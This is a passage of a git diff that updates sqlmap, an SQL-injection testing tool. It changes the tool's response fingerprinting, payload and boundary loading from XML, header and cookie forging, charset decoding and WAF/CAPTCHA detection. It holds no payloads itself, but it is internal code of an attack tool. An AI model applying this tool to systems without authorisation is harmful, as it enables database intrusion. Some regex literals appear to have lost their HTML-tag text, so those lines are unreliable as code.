value in ( None, "None" ): + if value in (None, "None", ""): return if key == "dbmsVersion": self._info[key] = value else: - if key not in self._info.keys(): + if key not in self._info: self._info[key] = set() for _ in value.split("|"): @@ -44,9 +45,9 @@ def _feedInfo(self, key, value): def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) - _ = re.match("\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes + _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes - if _ and _.group(0).lower() in self._banner.lower() or not _: + if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None @@ -61,16 +62,16 @@ def startElement(self, name, attrs): self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) - if self._dbmsVersion.isdigit(): + if self._dbmsVersion and self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) - if self._techVersion.isdigit(): + if self._techVersion and self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): - self._feedInfo("sp", "Service Pack %s" % self._match.group(int(self._sp))) + self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 40362a1836b..0a47a0985cc 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,20 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import itertools import os -from lib.core.common import checkFile from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler - def headersParser(headers): """ This function calls a class that parses the input HTTP headers to @@ -24,21 +21,16 @@ def headersParser(headers): if not kb.headerPaths: kb.headerPaths = { - "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), - "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), - "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"), - "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), - "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), - "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml") + "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), + "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), + "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), + "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), + "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): - value = headers[header] - xmlfile = kb.headerPaths[header] - checkFile(xmlfile) - - handler = FingerprintHandler(value, kb.headersFp) - - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + for header, xmlfile in kb.headerPaths.items(): + if header in headers: + handler = FingerprintHandler(headers[header], kb.headersFp) + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) diff --git a/lib/parse/html.py b/lib/parse/html.py index 0eef21d89d1..38001235485 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,21 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler -from lib.core.common import checkFile +from lib.core.common import urldecode from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.threads import getCurrentThreadData -class htmlHandler(ContentHandler): +class HTMLHandler(ContentHandler): """ This class defines methods to parse the input HTML page to fingerprint the back-end database management system @@ -25,7 +26,12 @@ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None - self._page = page + self._page = (page or "") + try: + self._lower_page = self._page.lower() + except SystemError: # https://bugs.python.org/issue18183 + self._lower_page = None + self._urldecoded_page = urldecode(self._page) self.dbms = None @@ -34,23 +40,51 @@ def _markAsErrorPage(self): threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): + if self.dbms: + return + if name == "dbms": self._dbms = attrs.get("value") elif name == "error": - if re.search(attrs.get("regexp"), self._page, re.I): + regexp = attrs.get("regexp") + if regexp not in kb.cache.regex: + keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) + keywords = sorted(keywords, key=len) + kb.cache.regex[regexp] = keywords[-1].lower() + + if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() + kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system + + >>> from lib.core.enums import DBMS + >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL + True + >>> threadData = getCurrentThreadData() + >>> threadData.lastErrorPage = None """ + page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] + xmlfile = paths.ERRORS_XML - checkFile(xmlfile) - handler = htmlHandler(page) + handler = HTMLHandler(page) + key = hash(page) + + # generic SQL warning/error messages + if re.search(r"SQL (warning|error|syntax)", page, re.I): + handler._markAsErrorPage() + + if key in kb.cache.parsedDbms: + retVal = kb.cache.parsedDbms[key] + if retVal: + handler._markAsErrorPage() + return retVal parseXmlFile(xmlfile, handler) @@ -60,8 +94,6 @@ def htmlParser(page): else: kb.lastParserStatus = None - # generic SQL warning/error messages - if re.search(r"SQL (warning|error|syntax)", page, re.I): - handler._markAsErrorPage() + kb.cache.parsedDbms[key] = handler.dbms return handler.dbms diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 2a2a0e7d22f..24ee83e1a6d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,36 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os +import re + from xml.etree import ElementTree as et +from lib.core.common import getSafeExString +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict +from lib.core.exception import SqlmapInstallationException +from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): + if tag == "clause" and '-' in text: + text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) + if tag in ("clause", "where"): text = text.split(',') - if isinstance(text, basestring): - if text.isdigit(): - text = int(text) - else: - text = str(text) + if hasattr(text, "isdigit") and text.isdigit(): + text = int(text) elif isinstance(text, list): count = 0 - for t in text: - if t.isdigit(): - t = int(t) - else: - t = str(t) - - text[count] = t + for _ in text: + text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): @@ -39,10 +41,10 @@ def cleanupVals(text, tag): return text def parseXmlNode(node): - for element in node.getiterator('boundary'): + for element in node.findall("boundary"): boundary = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -51,21 +53,22 @@ def parseXmlNode(node): conf.boundaries.append(boundary) - for element in node.getiterator('test'): + for element in node.findall("test"): test = AttribDict() - for child in element.getchildren(): + for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.getchildren()) == 0: + progeny = child.findall("*") + if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child.getchildren(): + for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] @@ -74,7 +77,47 @@ def parseXmlNode(node): conf.tests.append(test) -def loadPayloads(): - doc = et.parse(paths.PAYLOADS_XML) +def loadBoundaries(): + """ + Loads boundaries from XML + + >>> conf.boundaries = [] + >>> loadBoundaries() + >>> len(conf.boundaries) > 0 + True + """ + + try: + doc = et.parse(paths.BOUNDARIES_XML) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) + root = doc.getroot() parseXmlNode(root) + +def loadPayloads(): + """ + Loads payloads/tests from XML + + >>> conf.tests = [] + >>> loadPayloads() + >>> len(conf.tests) > 0 + True + """ + + for payloadFile in PAYLOAD_XML_FILES: + payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) + + try: + doc = et.parse(payloadFilePath) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) + + root = doc.getroot() + parseXmlNode(root) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py new file mode 100644 index 00000000000..6081d1088c5 --- /dev/null +++ b/lib/parse/sitemap.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import readInput +from lib.core.data import kb +from lib.core.data import logger +from lib.core.datatype import OrderedSet +from lib.core.exception import SqlmapSyntaxException +from lib.request.connect import Connect as Request +from thirdparty.six.moves import http_client as _http_client + +abortedFlag = None + +def parseSitemap(url, retVal=None): + global abortedFlag + + if retVal is not None: + logger.debug("parsing sitemap '%s'" % url) + + try: + if retVal is None: + abortedFlag = False + retVal = OrderedSet() + + try: + content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" + except _http_client.InvalidURL: + errMsg = "invalid URL given for sitemap ('%s')" % url + raise SqlmapSyntaxException(errMsg) + + for match in re.finditer(r"\s*([^<]+)", content or ""): + if abortedFlag: + break + url = match.group(1).strip() + if url.endswith(".xml") and "sitemap" in url.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) + if kb.followSitemapRecursion: + parseSitemap(url, retVal) + else: + retVal.add(url) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during sitemap parsing. sqlmap " + warnMsg += "will use partial list" + logger.warning(warnMsg) + + return retVal diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/request/basic.py b/lib/request/basic.py index ef745fb4be5..758f993ca61 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,37 +1,67 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import codecs import gzip +import io import logging import re -import StringIO import zlib -from extra.chardet import detect +from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult -from lib.core.common import getUnicode +from lib.core.common import filterNone +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString +from lib.core.common import isListLike +from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.convert import decodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.enums import HTTPHEADER +from lib.core.decorators import cachedmethod +from lib.core.decorators import lockedmethod +from lib.core.dicts import HTML_ENTITIES +from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE +from lib.core.exception import SqlmapCompressionException +from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER -from lib.core.settings import ML +from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD +from lib.core.settings import IDENTYWAF_PARSE_LIMIT +from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT +from lib.core.settings import PRINTABLE_BYTES +from lib.core.settings import SELECT_FROM_TABLE_REGEX +from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser - -def forgeHeaders(items=None): +from thirdparty import six +from thirdparty.chardet import detect +from thirdparty.identywaf import identYwaf +from thirdparty.odict import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client + +@lockedmethod +def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests @@ -39,48 +69,78 @@ def forgeHeaders(items=None): items = items or {} - for _ in items.keys(): + for _ in list(items.keys()): if items[_] is None: del items[_] - headers = dict(conf.httpHeaders) - headers.update(items or {}) + headers = OrderedDict(conf.httpHeaders if base is None else base) + headers.update(items.items()) + + class _str(str): + def capitalize(self): + return _str(self) + + def title(self): + return _str(self) + + _ = headers + headers = OrderedDict() + for key, value in _.items(): + success = False + + for _ in headers: + if _.upper() == key.upper(): + del headers[_] + break + + if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): + try: + headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 + except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) + pass + else: + success = True + if not success: + key = '-'.join(_.capitalize() for _ in key.split('-')) + headers[key] = value if conf.cj: - if HTTPHEADER.COOKIE in headers: + if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: - if ("%s=" % cookie.name) in headers[HTTPHEADER.COOKIE]: - if kb.mergeCookies is None: - message = "you provided a HTTP %s header value. " % HTTPHEADER.COOKIE - message += "The target url provided its own cookies within " - message += "the HTTP %s header which intersect with yours. " % HTTPHEADER.SET_COOKIE - message += "Do you want to merge them in futher requests? [Y/n] " - test = readInput(message, default="Y") - kb.mergeCookies = not test or test[0] in ("y", "Y") - - if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, cookie.value), x) - headers[HTTPHEADER.COOKIE] = _(headers[HTTPHEADER.COOKIE]) + if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): + continue + + if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): + if conf.loadCookies: + conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) + elif kb.mergeCookies is None: + message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE + message += "target URL provides its own cookies within " + message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE + message += "Do you want to merge them in further requests? [Y/n] " + + kb.mergeCookies = readInput(message, default='Y', boolean=True) + + if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: + def _(value): + return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) + + headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) - conf.httpHeaders = [(item[0], item[1] if item[0] != HTTPHEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] + + conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTPHEADER.COOKIE] += "%s %s=%s" % (DEFAULT_COOKIE_DELIMITER, cookie.name, cookie.value) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) - if kb.testMode: + if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) - if kb.redirectSetCookie and not conf.dropSetCookie: - if HTTPHEADER.COOKIE in headers: - headers[HTTPHEADER.COOKIE] += "%s %s" % (DEFAULT_COOKIE_DELIMITER, kb.redirectSetCookie) - else: - headers[HTTPHEADER.COOKIE] = kb.redirectSetCookie - return headers -def parseResponse(page, headers): +def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return @@ -92,34 +152,57 @@ def parseResponse(page, headers): headersParser(headers) if page: - htmlParser(page) + htmlParser(page if not status else "%s\n\n%s" % (status, page)) + +@cachedmethod +def checkCharEncoding(encoding, warn=True): + """ + Checks encoding name, repairs common misspellings and adjusts to + proper namings used in codecs module + + >>> checkCharEncoding('iso-8858', False) + 'iso8859-1' + >>> checkCharEncoding('en_us', False) + 'utf8' + """ + + if isinstance(encoding, six.binary_type): + encoding = getUnicode(encoding) + + if isListLike(encoding): + encoding = unArrayizeValue(encoding) -def checkCharEncoding(encoding): if encoding: encoding = encoding.lower() else: return encoding - # http://www.destructor.de/charsets/index.htm - translate = { "windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8"} + # Reference: http://www.destructor.de/charsets/index.htm + translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() + encoding = encoding.replace(""", "") + # popular typos/errors if "8858" in encoding: - encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 + encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: - encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 + encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 + elif "8895" in encoding: + encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: - encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 + encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: - encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 + encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: - encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 - elif "x-euc" in encoding: - encoding = encoding.replace("x-euc", "euc") # x-euc-kr -> euc-kr + encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 + elif encoding.startswith("x-"): + encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish + elif "windows-cp" in encoding: + encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 # name adjustment for compatibility if encoding.startswith("8859"): @@ -138,91 +221,234 @@ def checkCharEncoding(encoding): encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" + elif encoding.find("utf-8") > 0: + encoding = "utf-8" - # http://philip.html5.org/data/charsets-2.html + # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] - elif encoding in ("null", "{charset}", "*"): + elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None - # http://www.iana.org/assignments/character-sets - # http://docs.python.org/library/codecs.html + # Reference: http://www.iana.org/assignments/character-sets + # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding) - except LookupError: - warnMsg = "unknown web page charset '%s'. " % encoding - warnMsg += "Please report by e-mail to %s." % ML - singleTimeLogMessage(warnMsg, logging.WARN, encoding) + except: encoding = None + if encoding: + try: + six.text_type(getBytes(randomStr()), encoding) + except: + if warn: + warnMsg = "invalid web page charset '%s'" % encoding + singleTimeLogMessage(warnMsg, logging.WARN, encoding) + encoding = None + return encoding +@lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics - Reference: http://chardet.feedparser.org/docs/ + + Reference: https://chardet.readthedocs.io/en/latest/usage.html + + >>> getHeuristicCharEncoding(b"") + 'ascii' """ - retVal = detect(page)["encoding"] - infoMsg = "heuristics detected web page charset '%s'" % retVal - singleTimeLogMessage(infoMsg, logging.INFO, retVal) + key = (len(page), hash(page)) + + retVal = kb.cache.encoding.get(key) + if retVal is None: + retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] + kb.cache.encoding[key] = retVal + + if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): + infoMsg = "heuristics detected web page charset '%s'" % retVal + singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal -def decodePage(page, contentEncoding, contentType): +def decodePage(page, contentEncoding, contentType, percentDecode=True): """ Decode compressed/charset HTTP response + + >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) + 'foo&bar' + >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) + '\\t' """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"): - if contentEncoding == "deflate": - # http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations - data = StringIO.StringIO(zlib.decompress(page, -15)) - else: - data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page)) + contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" + contentType = getText(contentType).lower() if contentType else "" - try: - page = data.read() - except Exception, msg: - errMsg = "detected invalid data for declared content " - errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg) - singleTimeLogMessage(errMsg, logging.ERROR) + if contentEncoding in ("gzip", "x-gzip", "deflate"): + if not kb.pageCompress: + return None - if not conf.charset: + try: + if contentEncoding == "deflate": + obj = zlib.decompressobj(-15) + page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) + page += obj.flush() + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + else: + data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) + page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + except Exception as ex: + if b" 255 else _.group(0), page) + else: + page = getUnicode(page, kb.pageEncoding) return page -def processResponse(page, responseHeaders): +def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 + page = page or "" + + parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) - if not kb.dumpMode: - parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) + if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): + kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) + else: + kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: - logger.info("parsed error message: '%s'" % msg) + logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) + + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) + + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + try: + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + except Exception as ex: + singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) + + if kb.originalPage is None: + for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): + match = re.search(regex, page) + if match and PLACE.POST in conf.parameters: + name, value = match.groups() + if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: + if conf.paramDict[PLACE.POST][name] in page: + continue + else: + msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name + + if not readInput(msg, default='N', boolean=True): + continue + + conf.paramDict[PLACE.POST][name] = value + conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) + + if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): + kb.browserVerification = True + warnMsg = "potential browser verification protection mechanism detected" + if re.search(r"(?i)CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) + + if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): + for match in re.finditer(r"(?si)", page): + if re.search(r"(?i)captcha", match.group(0)): + kb.captchaDetected = True + break + + if re.search(r"]+\brefresh\b[^>]+\bcaptcha\b", page): + kb.captchaDetected = True + + if kb.captchaDetected: + warnMsg = "potential CAPTCHA protection mechanism detected" + if re.search(r"(?i)[^<]*CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) + + if re.search(BLOCKED_IP_REGEX, page): + warnMsg = "it appears that you have been blocked by the target server" + singleTimeWarnMessage(warnMsg) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index f09f4eee29d..878e5a8a54b 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib2 +from thirdparty.six.moves import urllib as _urllib -class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): +class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ + def __init__(self, *args, **kwargs): - urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) + _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 @@ -29,11 +30,9 @@ def http_error_auth_reqed(self, auth_header, host, req, headers): self.retried_req.add(hash(req)) self.retried_count = 0 else: - if self.retried_count > 5: - raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", - headers, None) - else: - self.retried_count += 1 + if self.retried_count > 5: + raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) + else: + self.retried_count += 1 - return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( - self, auth_header, host, req, headers) + return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) diff --git a/lib/request/certhandler.py b/lib/request/certhandler.py deleted file mode 100644 index dad25e5daa6..00000000000 --- a/lib/request/certhandler.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import httplib -import urllib2 -import sys - -from lib.core.data import conf - -class HTTPSCertAuthHandler(urllib2.HTTPSHandler): - def __init__(self, key_file, cert_file): - urllib2.HTTPSHandler.__init__(self) - self.key_file = key_file - self.cert_file = cert_file - - def https_open(self, req): - return self.do_open(self.getConnection, req) - - def getConnection(self, host): - if sys.version_info >= (2,6): - retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout) - else: - retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file) - return retVal diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py new file mode 100644 index 00000000000..573f3b3d032 --- /dev/null +++ b/lib/request/chunkedhandler.py @@ -0,0 +1,41 